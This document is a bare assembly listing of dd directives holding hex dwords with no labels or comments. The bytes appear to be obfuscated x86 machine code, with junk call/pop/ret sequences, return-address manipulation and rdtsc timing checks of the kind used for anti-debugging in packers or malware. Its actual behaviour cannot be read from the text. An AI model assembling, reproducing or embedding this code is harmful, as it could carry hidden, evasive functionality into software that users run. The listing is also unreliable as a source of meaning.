dd 1473BE42h, 89E48D74h, 106C7h, 6A0001h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 152E57C3h
dd 0DD2EEF78h, 0BB129F05h, 32A0A6A2h, 7D95BB50h, 348973A9h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 1E57B599h, 0FE56F4Ch
dd 682h, 919D0B00h, 50064823h, 38D0Fh, 8B660000h, 0B5FF5FF8h
dd 64BB689h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0ACC35343h, 0FB799249h, 0BD9D8BE2h, 0E8064829h
dd 0Ah, 300D4BD6h, 25072BFBh, 0B7508B8Dh, 0FF5B5B87h, 48006195h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 14697A36h, 0EA22BF7Ah, 0A5E78166h, 25958912h
dd 8B064816h, 4BB67DB5h, 0FE8B6606h, 0F25858Bh, 6A0648h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 133A71C3h, 0FC5E790Fh, 0C48689h, 0B70F0000h, 5958BFEh
dd 0BF064814h, 3FA03FBFh, 6A04C283h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 8B46C356h
dd 9C57D05h, 0F61AFC0h, 688h, 919D8B00h, 8906480Dh, 480141B5h
dd 22BF6606h, 20508912h, 0CAD4858Dh, 8950064Bh, 481AA9BDh
dd 86895B06h, 0B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 45C35646h, 0EFCB81F7h, 6A195141h, 0FFE2B300h
dd 4BB689B5h, 899D8B06h, 0FF064812h, 48005195h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 719531F3h, 8B064823h, 48276D9Dh, 0D98B9606h, 52506050h
dd 6E9h, 36197D00h, 0F22C6F4h, 50585A31h, 0B8310F52h, 614A1BFAh
dd 9661585Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 59C35040h, 0EE9D758h, 93000000h, 0AE1D93FAh, 30ABFD2h
dd 0BA95F9B5h, 0B589602Dh, 64827C9h, 116D9589h, 0FF610648h
dd 4BB689B5h, 359D8906h, 0FF06480Ah, 48142995h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0A5BE9C90h, 11304330h, 8B0FD920h, 6, 2809BD8Bh, 7E80648h
dd 0F1000000h, 0C98FAC99h, 800F75BCh, 1, 0BD835FF8h, 64831A9h
dd 9840F00h, 96000000h, 50FA8B66h, 0FBB70F96h, 0B689B5FFh
dd 0BD29064Bh, 6480CA1h, 13FD95FFh, 6A0648h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 0F33D42C3h
dd 0D999D8Bh, 0B5FF0648h, 64BB689h, 19840Fh, 14E90000h
dd 0FA000000h, 950D6E77h, 8D0816F6h, 46032DB0h, 0E3D7C2C0h
dd 0FFDCA9CBh, 48177D95h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 6B9C0B6Eh
dd 1F19F47Fh, 2F1DBD83h, 0F020648h, 7A84h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 88BB55E5h, 29369AF8h, 4829E58Dh, 51858B06h, 6A064815h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 4C44C357h, 0E0F099ADh, 0F19B938h, 0C6F8B7h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 78EAA00Ah, 0C72BD75Ah, 4816E185h, 6, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0D8D23177h, 6322CED9h, 0ECECCB81h, 0BD8B48C7h, 6482359h
dd 0FFF2A4E9h, 0BD9D89FFh, 8B06482Eh, 2EBF66C1h, 55858DA8h
dd 60064812h, 6880Fh, 870F0000h, 0
dd 0FE8h, 0E81FB200h, 0C55923E2h, 39FD1F6Dh, 0E9F7543Bh
dd 2309BD01h, 615B0648h, 5918D89h, 56500648h, 10E95250h
dd 91000000h, 9E6B7DBBh, 9E302A4Eh, 632BB765h, 0F725089h
dd 8A0F31h, 5A000000h, 4895B58h, 0FE8B6624h, 0BB66006Ah
dd 6A776Fh, 49DB589h, 858D0648h, 64D09C0h, 590F0DBFh, 5C0837Fh
dd 1634BF66h, 0BB665090h, 5390CE2Eh, 5BD9B70Fh, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 875606C3h, 40D38166h, 0EE995h, 0DD540000h, 353130A3h
dd 7A9168ADh, 0B6D9700Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 9B408C3h, 2CEBFDB1h
dd 29CA30B6h, 4807A5BDh, 2D95FF06h, 0F06482Bh, 2584h, 0DE800h
dd 988C0000h, 471AB9EBh, 186A7943h, 0E9C81737h, 0Dh, 0AF52F462h
dd 0E99D6D63h, 0D67F7D67h, 8D8D5FCDh, 64B9938h, 5E8h, 0E993300h
dd 8D292AD4h, 6481225h, 0E19D8B5Bh, 0FF064811h, 56006AD1h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0FE8A6880h, 30E5BD83h, 0F010648h, 9885h, 198C0F00h
dd 0E9000000h, 14h, 0B8DA54Dh, 1620A875h, 1177682h, 2FF2F2E7h
dd 0E8788852h, 11DD9589h, 26A0648h, 10E9h, 447A3300h, 9413990Eh
dd 0ED61F6A6h, 60D337F4h, 3BB9032h, 5048E1ADh, 6A90FE8Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 4437C350h, 95FF7CF5h, 6480051h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FCC35545h, 7C7E5AD9h
dd 91E62058h, 1B599D89h, 0F9500648h, 0C24E95Bh, 0E80000h
dd 5D000000h, 9CAED81h, 8D09064Dh, 648145Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 86C35747h, 0EBC944DBh
dd 8D2F9A38h, 4B93DA85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0DBBF0F5Fh, 2D05BB90h
dd 0E95021C7h, 8, 617D49A1h, 1F0848AAh, 719D8990h, 66064809h
dd 436ADB81h, 35FF64h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0B69AC356h
dd 81663606h, 0BFEF3CF7h, 830BF4Fh, 258964h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 53ACC357h, 5BD8B70Fh, 1AD185FFh, 6A0648h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0C1223C3h, 496DF7B8h, 0B8BB6611h, 29FF6A92h, 482BC985h
dd 0DF816606h, 0B5FFADBEh, 64817B5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0B0C35545h, 0D8F1237Ah, 0C5BBB02Eh
dd 0FF755ADDh, 4810D995h, 197E906h, 0BD2B0000h, 64813B1h
dd 9D2B00B0h, 6481441h, 0E6DF8B66h, 89BD8970h, 0E406482Ah
dd 2B516071h, 480AFD8Dh, 29605B06h, 481A698Dh, 0F2EE8106h
dd 61493353h, 0F613C61h, 15C83h, 11E800h, 0A1ED0000h, 0C2842DE3h
dd 27654EF3h, 6C14CB40h, 0F011691h, 0E95FD8B7h, 8, 0B5F7F046h
dd 0B31A0DE5h, 0FC8B60Fh, 684h, 0CD858900h, 0BA06480Ch
dd 6, 0C18BB4B3h, 10E9h, 3644E200h, 0C4A54AE9h, 683D291Dh
dd 1EAFB41h, 68D0F7Ch, 1000000h, 480059B5h, 4E8C106h, 13D5B589h
dd 0F7660648h, 8E8E2h, 0E6180000h, 28342259h, 9D8B0C77h
dd 6482C0Dh, 60C82B5Fh, 12C98D0Bh, 0B5890648h, 6482C0Dh
dd 1D18B61h, 4809ADB5h, 0BEE9F806h, 0E8000000h, 11h, 4C37478Eh
dd 3B587D56h, 0EFFC4265h, 2D5A2E42h, 0ED9D8995h, 5F064812h
dd 4E49858Bh, 9D334400h, 6480229h, 8907C083h, 4810C5B5h
dd 0C08306h, 0BBC4D381h, 0D03B55F1h, 2F830Fh, 0F600000h
dd 0F781DFB7h, 609C84E4h, 6BE961h, 13E80000h, 0CC000000h
dd 0B25B43C9h, 4432DF36h, 52C62406h, 95F5CF99h, 95316B2Eh
dd 6482EA9h, 0FF8D8B5Bh, 9FFFFFFh, 4815419Dh, 0B1858906h
dd 83064809h, 840F01E1h, 31h, 0C4DEBB66h, 30758589h, 0A5830648h
dd 0FFFFFFFFh, 0A58D29FEh, 0E906480Dh, 8, 4F77914Fh, 6FB759D5h
dd 4E499589h, 0DCB34400h, 0E9h, 80B58D00h, 6A064C82h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 6A93C357h, 0FFDE8A00h, 48092D95h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 56AB8151h
dd 0FE4CBB66h, 0FA7B95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 8D89C0C3h, 64828E1h
dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 13BFC356h, 53006AFCh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 5D420C7Ch
dd 0A2EABB20h, 860F099Dh, 18h, 10E8h, 5E900D00h, 0B87C5E2Eh
dd 37823147h, 6C65C5A1h, 5B5F57D0h, 0B8h, 0A5958900h, 0BA064829h
dd 0
dd 0CE9h, 0D4067400h, 0ECD17E2h, 0F47C3AC0h, 0C233AD44h
dd 0D003E8D1h, 7504E983h, 219D33F4h, 66064804h, 870FDE8Bh
dd 6, 181D9D8Bh, 880D0648h, 60000000h, 3870Fh, 8B660000h
dd 0D18166D7h, 8B61273Fh, 48140595h, 258D8B06h, 89064830h
dd 48317D8Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 0F58188Bh, 38Eh, 0FFB70F00h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0CBC35545h, 520F86A3h, 978CD528h
dd 0BD83F514h, 64812FDh, 59840F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0EF95C357h, 0B805h, 8DF80000h, 484E808Dh, 29BB6606h
dd 6AE1FF9Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 4DBCC353h, 68F0Fh, 8D010000h
dd 64830C1h, 2AD9BD83h, 0F000648h, 32184h, 7DBD8900h, 83064830h
dd 482AD9BDh, 840F0106h, 329h, 26F19D29h, 0BD830648h, 6482AD9h
dd 0E0860F03h, 6A000002h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 8964C350h, 482961BDh
dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0BD5F05C3h, 0BFFA0140h, 7262B135h, 1CCEBF66h
dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 807FC351h, 0BD8B04E1h, 6481F0Dh
dd 840FC90Ah, 0AAh, 1159858Bh, 0DB800648h, 198533BFh, 9064812h
dd 480EF995h, 0E8509006h, 5, 3BB04BFBh, 89905F5Dh, 482B2195h
dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 0DB9DC353h, 94751F35h, 2723BF66h
dd 339EC468h, 70F0BB57h, 348174CEh, 2C9D3B24h, 318D8957h
dd 0FF064820h, 48074195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0FAD28DAh
dd 582h, 0DF816600h, 85899C5Eh, 64BB689h, 3830Fh, 8B660000h
dd 156E9DEh, 858B0000h, 64BB681h, 1800C7FCh, 31000000h
dd 4817259Dh, 85B58B06h, 89064BB6h, 482A0185h, 85858B06h
dd 6A06481Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 0C992C352h, 6892DD9h, 0BD89D88Bh
dd 648057Dh, 1159858Bh, 0FFC0648h, 4689FFBFh, 53006A04h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 966BF421h, 5FFD8A56h, 0D98B5250h, 6A965Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B9BFD7C3h
dd 6A98D89h, 0B5FF0648h, 64BB681h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 42C35343h, 2EA1DE0Fh, 8F0F6EFFh
dd 6, 4119D89h, 9E90648h, 0E000000h, 85C3F4D9h, 1714C456h
dd 8BA1EF68h, 0FACABB6Ah, 34813CBCh, 94A21024h, 56006A6Ah
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 665999A4h, 8DF8DA8Bh, 4BB68985h, 8B73B306h, 4809F1BDh
dd 0FE85006h, 0BA000000h, 692826ACh, 4C790D0Ah, 0B3AD0ED0h
dd 6E932AAh, 9A000000h, 3F16970Eh, 4895B10h, 4195FF24h
dd 0F9064807h, 85C7F561h, 6482AD9h, 3, 0F199D8Bh, 0BD830648h
dd 64BB689h, 44840F00h, 29000000h, 480955BDh, 54E906h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0AEBF3C3h, 0C820467h, 60746288h, 0F61EF8Ah
dd 0A86h, 5E900h, 7C440000h, 5089E25Eh, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0CE9E2C3h
dd 40000000h, 0AB01F36Bh, 840F688Bh, 0BFD6CFA4h, 6B21A8A8h
dd 2AD9BD83h, 0F030648h, 3A085h, 7E800h, 0E4000000h, 6B0A9712h
dd 0F6BF507Dh, 5B48197Ah, 89BD835Fh, 64BB6h, 37F840Fh
dd 0BF0F0000h, 89B5FFDEh, 6A064BB6h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 52D4C352h
dd 9936B4CFh, 60E23D2Bh, 20299D29h, 5DBF0648h, 61012571h
dd 9F595FFh, 0B58B0648h, 64BB67Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0B2C35242h, 5B56C239h, 0E856A0BBh
dd 6840F0Eh, 29000000h, 48090DBDh, 106C706h, 66000100h
dd 67D0EF81h, 0BB665696h, 505FBA84h, 0AE8h, 4E0CC800h
dd 7286488h, 5BE6C558h, 0FFDF8B96h, 4BB689B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 6BD31081h, 6010DFE4h, 38C0Fh, 0BF0F0000h, 0AD8D8BD8h
dd 61064807h, 6195FFh, 81660648h, 8B15B0F3h, 4BB67DB5h
dd 0B9BD8B06h, 8B06482Bh, 480F2585h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 5BB332A4h
dd 0C48689h, 1600000h, 480E419Dh, 8C0F6006h, 0
dd 28EDBD8Bh, 61610648h, 1405958Bh, 6A0648h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 830087C3h
dd 0D8EA00D8h, 9D8B6C81h, 6481C51h, 904C283h, 48180985h
dd 58B0F06h, 66000000h, 125FC381h, 8B205089h, 4819B19Dh
dd 0D4858D06h, 81064BCAh, 51D208DBh, 0B8868955h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 6E79C352h, 8579F41Fh, 0C5775764h, 18DEF781h
dd 6A32E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0CAC35343h, 0CD2DDBDh, 5525BFF8h, 0B5FF06D5h, 64BB689h
dd 0BDB56FBFh, 5195FF59h, 0BF064800h, 68608864h, 0B2BF6696h
dd 0BF6650B0h, 6A9640DAh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 4003C351h, 91D65B17h
dd 8D0F4ED8h, 3, 0FFE8B66h, 381h, 0DBBF0F00h, 0B689B5FFh
dd 13E9064Bh, 0BB000000h, 639E8680h, 94A4BB92h, 4955C601h
dd 1374F2A9h, 95FFBDC1h, 6481429h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 7CC35545h, 625C8DDCh, 65BB4EC0h
dd 8341FC65h, 4831A9BDh, 840F0006h, 1Dh, 2EE58D89h, 0B3500648h
dd 243489A7h, 5E8h, 49420000h, 810F16D8h, 0
dd 89B5FF5Bh, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0BE50C352h, 0E362371h
dd 7DF4033Bh, 2860Fh, 0D98B0000h, 13FD95FFh, 6A0648h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0DBA52BC3h, 0AF2CD23Dh, 0FF4A1CDDh, 4BB689B5h, 95FFF506h
dd 648177Dh, 55858B60h, 0F806482Ah, 1DBD8361h, 206482Fh
dd 43840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 19FFC3h, 8B65F965h, 48155185h, 0EF816606h
dd 0C641BDh, 0FE900h, 84160000h, 1819A7BDh, 6975D27Ch
dd 69E6283Dh, 0E185C708h, 64816h, 2B000000h, 4832CD9Dh
dd 0F4EFE906h, 0BD0BFFFFh, 6480E0Dh, 0BD8BC18Bh, 6480999h
dd 1B21BD8Bh, 858D0648h, 6481255h, 5918D09h, 53500648h
dd 0D71FBB66h, 2404895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0E8C35747h, 0AFB3802Eh, 6A17B3DAh, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 24F852h, 0BA3BF746h, 2E59BD23h, 6A0648h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9C35040h, 5075C324h
dd 0F412D0Eh, 858DFAB7h, 64D17DCh, 13B5BD8Bh, 0C0830648h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0D828BFC0h, 230FBB66h, 234D9589h, 50900648h
dd 5E9h, 55F700h, 6A902341h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0B3A2C352h, 61605357h
dd 81575B5Fh, 34C23EDFh, 6A5F73h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0C35242h, 0C3B78D99h, 0B0850DDEh
dd 0ADD38115h, 6A67FC7Bh, 91850100h, 0FF064817h, 482B2D95h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 8D8D950Bh, 64B9938h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0FEC35141h, 890CEB1Dh, 482849B5h
dd 31BD8906h, 89064818h, 482A89B5h, 0FD1FF06h, 481h, 0FFBB6600h
dd 0E5BD8343h, 1064830h, 4F850Fh, 12E80000h, 99000000h
dd 8C0459B0h, 9A277F14h, 0CB4AEF94h, 4A191996h, 5B6CB3F5h
dd 8F0F026Ah, 6, 17919589h, 0BB500648h, 2C686ADEh, 0F240489h
dd 684h, 0E1BD2300h, 0E9064815h, 7, 0EF9FF873h, 0FF18CE6Fh
dd 48005195h, 0E68E906h, 0E80000h, 5D000000h, 17E6ED81h
dd 9D8B064Dh, 6483371h, 0EE9h, 0E82D3F00h, 9F7580E0h, 0A3636582h
dd 8D09F69Eh, 4B93DA85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 1A5F6C5Ah, 2ED78166h
dd 5250500Ah, 5B535250h, 0BB66310Fh, 585A4B6Dh, 0AE8310Fh
dd 2000000h, 0C7F25A25h, 5CD5F819h, 585A5BEAh, 8B240489h
dd 35FF64FEh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5EC35242h
dd 32EB3B76h, 5369EB81h, 0DA8B0118h, 258964h, 51000000h
dd 29B19D8Bh, 0F95F0648h, 1AD185FFh, 6A0648h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D8B4AC3h
dd 648078Dh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 83C8E2C3h, 0CB8166A0h, 0B5FFD45Fh
dd 648283Dh, 29ED9D8Bh, 95FF0648h, 64810D9h, 105E9h, 90D6BB00h
dd 0B02ECFh, 2B9DB529h, 0C3800648h, 5270E62Ch, 28C19D8Bh
dd 0E45B0648h, 0B99D8B71h, 3C06481Bh, 0DB830F61h, 0BF000000h
dd 488F3042h, 0BBC8B60Fh, 6D24355h, 0BA32C780h, 6, 8BC18BF9h
dd 480F75BDh, 31BD8B06h, 0C106480Dh, 858904E8h, 6480869h
dd 0E8E2F766h, 0Ch, 3485C9B6h, 3B9A5C25h, 7C60BDBFh, 3059BD8Bh
dd 2B5B0648h, 0DF8166C8h, 0D18B7FFFh, 4459D31h, 7FE90648h
dd 0F000000h, 858BFEBFh, 505F4C4Ch, 83FB8B66h, 0BD0107C0h
dd 64809ADh, 0F900C083h, 830FD03Bh, 14h, 1B9D9D89h, 0EB800648h
dd 50E9BAh, 8D890000h, 64805F1h, 0FFFF8D8Bh, 9E9FFFFh
dd 8D000000h, 6ACE9154h, 8D8ED297h, 5FA5B353h, 0F01E183h
dd 2984h, 91958900h, 8306481Ch, 0FFFFFFA5h, 8166FEFFh
dd 897763DBh, 5F4C4C95h, 68A0F50h, 81000000h, 0A30D99DFh
dd 0E968h, 0B58D0000h, 64C9227h, 8E99509h, 6A0648h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D5C35242h, 0FB1CBCBh
dd 22CB86D7h, 4D8D013Eh, 66064831h, 0FF7D05BBh, 48092D95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0E19B916Bh, 0F7FB9AAh, 0BD8B0000h, 6481871h
dd 6AFCE183h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 0B6DBC357h, 736BC0E5h, 6E833h
dd 626B0000h, 87E1EE05h, 5BD88B66h, 57006AFCh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0D8AA9138h
dd 919D8B41h, 80064813h, 0C02BF9CFh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 45C35242h, 6E91FDEh, 0B8000000h
dd 8D51ECA2h, 0BA7Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 12BC30C3h, 0AF78557Fh
dd 0DE8h, 11EE3500h, 5BD03FD6h, 0A6730C9h, 0D7B3C8DBh
dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 6AF946h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 5EE902C3h, 0A9950945h, 0D064806h, 88h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F2C35646h, 8BFE8AB4h
dd 48140595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 9586993Bh, 66A06031h, 8529FA8Bh
dd 6482BDDh, 30258D8Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 30216AC3h, 8B505C0Fh
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 52C35141h, 0D5784BC3h
dd 8B0F94DCh, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0CCC35646h
dd 0FCB21931h, 12FDBD83h, 0F000648h, 7284h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 57F4CDF5h, 1F0DB589h, 0B80648h, 0E8000000h, 0Fh, 332F59DDh
dd 9F4EF5Eh, 0D245C6F1h, 66DC3984h, 0A0E5C781h, 808D8D5Fh
dd 5306484Eh, 6AE1FF5Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0F6EDC353h, 8166745Eh
dd 83964FD7h, 482AD9BDh, 840F0006h, 429h, 0CF8EEB81h, 0BD835836h
dd 6482AD9h, 31840F01h, 6A000004h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1D03C356h
dd 0A48F515Eh, 51A14728h, 7E8h, 97264500h, 0DCD765FEh
dd 5F78EB80h, 0D9BD835Fh, 306482Ah, 3B8860Fh, 8D890000h
dd 6480F3Dh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 4BEF3B6Ah, 0A98D89F4h, 6606481Ah
dd 0BF66D98Ch, 0E180BDCBh, 19D8B04h, 0A064832h, 14840FC9h
dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0F28C351h, 186h, 858BFC00h, 6481159h
dd 8533FA8Bh, 6481219h, 9E8h, 0BEA9ED00h, 6343D128h, 0D381AF21h
dd 60E69B74h, 8B66905Bh, 525050DAh, 0EE8h, 0CF460800h
dd 0CEBCACD8h, 0B1141E2Fh, 505EE902h, 310F5B5Fh, 61605250h
dd 0DF8B310Fh, 585A585Ah, 0A1BD8990h, 8B064829h, 481715BDh
dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0E107C353h, 0BD0B83DEh, 64828C9h
dd 85CF1B68h, 0AE936h, 88990000h, 3544F7C9h, 600CFAC2h
dd 0E4243481h, 0FF369ACCh, 48074195h, 18830F06h, 0E9000000h
dd 13h, 0BE1C9152h, 0CBE80E25h, 7C4977Ch, 4B8361F4h, 899CACB8h
dd 4BB68985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 0FBF431C1h, 1FAE9h, 0D99D8B00h, 8B06480Eh
dd 4BB68185h, 8D896006h, 648102Dh, 0C761F9h, 18h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 5DC35040h, 0A43AD8EDh
dd 69958935h, 8B064832h, 4BB685B5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 111D3C4Ah
dd 0ECC8752Bh, 0ABBB66B7h, 85858BABh, 6A06481Ah, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 6305C355h, 0A1A39C03h, 834A1739h, 89D8B70Fh, 0C1B58906h
dd 8B06482Ah, 48115985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 5CB78012h, 6F9B589h, 0E9600648h
dd 6, 0A4B94DBBh, 89609122h, 4805C585h, 0D9858B06h, 61064829h
dd 4468961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0F3C35343h, 49D38E80h, 890F6096h, 6, 310F5250h
dd 5061585Ah, 0F98D8996h, 0FF064804h, 4BB681B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0BD897353h, 6482F71h, 4E8h, 1F03FF00h, 0FE900h, 0A1750000h
dd 0A3EFE31Bh, 0C9BF274Ah, 5847190Ch, 20BF5005h, 8B7BBF7Ah
dd 0E9042444h, 11h, 1D7D8DAFh, 0E319F0E8h, 0C09DBA65h
dd 8E53C4F3h, 0E8008B9Ch, 0Fh, 23218F94h, 121AA2E6h, 434FD5BDh
dd 8B719B01h, 44895FFEh, 8B660424h, 8D8958FAh, 6480C09h
dd 0B689858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0FFB7E9C3h, 0EB816671h, 820F4509h
dd 6, 7A32E381h, 8B50044Dh, 240489F8h, 74195FFh, 0F98A0648h
dd 61DF8B66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
